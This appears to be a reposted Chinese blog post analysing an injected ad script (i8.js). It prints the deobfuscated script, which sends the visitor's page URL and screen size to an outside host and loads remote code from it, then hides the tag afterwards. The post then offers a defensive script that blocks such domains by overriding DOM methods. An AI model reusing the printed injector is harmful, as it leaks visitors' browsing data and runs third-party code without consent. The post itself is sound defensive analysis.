网络运营商说绝对不是他们做的,工信部表示也无可奈何。我除了信,还是信了!外求无效,只能自己想办法了!

 

第一种:

     HTTPS应该可以解决。但没用过,安全性要求不高,也就没折腾。

第二种:

    通过JS来反抗。毕竟广告植入也是通过JS来做的。

 

下面就说说JS的方法:

发现了自己网站有广告后,又在其他网站上也有所发现,引用的js也是同一个,源码如下:

JAVA 项目调试屏蔽shiro_JAVA 项目调试屏蔽shiro

 

提前注意i8.js引用的位置。打开这个i8.js,发现是一段压缩过的、写法奇特的代码,为了好分析,格式化后如下:



(function(d) {
    function $a(p) {
        try {
            var x = d.getElementsByTagName("head")[0];
            var y = x.appendChild($s(p));
            setTimeout(function() {
                x.removeChild(y)
            },
            2000)
        } catch(e) {}
    }
    function $c(n) {
        return d.createElement(n)
    }
    function $s(p) {
        var j = $c("script");
        j.src = p;
        j.async = true;
        j.type = "text/javascript";
        return j
    }
    var amt = 0;
    function $rn() {
        var ww = d.body.clientWidth;
        var hh = d.body.clientHeight;
        var u = {
            j: "ht",
            c: "com.cn",
            q: "tp:",
            m: "b.",
            n: "wdzs",
            d: "i."
        };
        
        var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;
        
        var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
        if (top == this) {
            if (ww < 300 || hh < 40) {
                amt += 1;
                if (amt < 3) {
                    setTimeout($rn, 1000)
                } else {
                    $a(be + "/fmt8p/m.php?u=" + en)
                }
            } else {
                $a(be + "/fmt8p/?u=" + en)
            }
        }
    }
    setTimeout($rn, 500)
})(document);



 

有兴趣的同学可以自己分析其思路,其功能就是以容错、重试、判断屏幕大小等逻辑来加载另一个js。这里我们关注两个地方:1、加载哪个js;2、如何加载的那个js。

第一个就是上面加红的代码,其结果是:http://i.wdzsb.com.cn+本页面url+随机参数+屏幕宽高参数。

第二个就是上面加蓝的代码,执行了加入js脚本的操作。

我们知道,js闭包里的东西我们在外部是不容易修改的,(所以这段代码的作者肯定用闭包),但是js运行都在一个宿主环境中,而这里的宿主环境当然是浏览器了,js操作DOM必须要用到浏览器的宿主对象,比如window和document,上面的代码就把document这个宿主对象传入了闭包函数。

那么我们也写一段代码,anti.js的内容:



(function (d) {

    var invalidJSDomain = [];
    invalidJSDomain.push("http://i.wdzsb.com.cn");

    function isValid(src) {
        src = src.toLowerCase();
        for (var i = 0; i < invalidJSDomain.length; i++) {
            if (src.indexOf(invalidJSDomain[i]) > -1) {
                return true;
            }
        }
        return false;
    }

    setTimeout(function () {
        var head = d.getElementsByTagName('head')[0];
        var orgAppendChild = head.appendChild;
        head.appendChild = function (node) {
            if (node && node.src && isValid(node.src)) {
                console.log('fuck you :' + node.src);
            } else {
                orgAppendChild.apply(this, arguments);
            }
            return node;
        };
        var orgRemoveChild = head.removeChild;
        head.removeChild = function (node) {
            if (node && node.src && isValid(node.src)) {
                console.log('fuck you again :' + node.src);
            } else {
                orgRemoveChild.apply(this, arguments);
            }
            return node;
        }

    }, 10);
} (document));



代码的功能就是修改dom元素head对象的appendChild和removeChild,通过判断引用地址,当发现添加或删除的子元素是我们禁止的,那么就fuck一下这个地址。

其实开始的时候,我只修改了appendChild方法,虽然i8.js加载不了其他js了,但是看它的代码,它的意图是加入js引用,等执行过该执行的代码,2秒后还会移除加入的js引用(想毁尸灭迹呢!)。由于加入script元素不成功,移除的时候会报错(子元素不在head里面嘛!),于是把removeChild方法也该了,修改过之后,对其他正常调用是没有影响的,这个很重要。

 

不采取行动之前,pc网页和手机网页广告如下:

JAVA 项目调试屏蔽shiro_javascript_02

JAVA 项目调试屏蔽shiro_js脚本_03

 

在head里引入anti.js之后(注意:一定是在head里引用,anti.js在加入后10毫秒确保head元素加载完成。好吧,其实是可以head下面引用的,因为i8.js是500毫秒后开始执行它龌龊的操作的 )

JAVA 项目调试屏蔽shiro_加载_04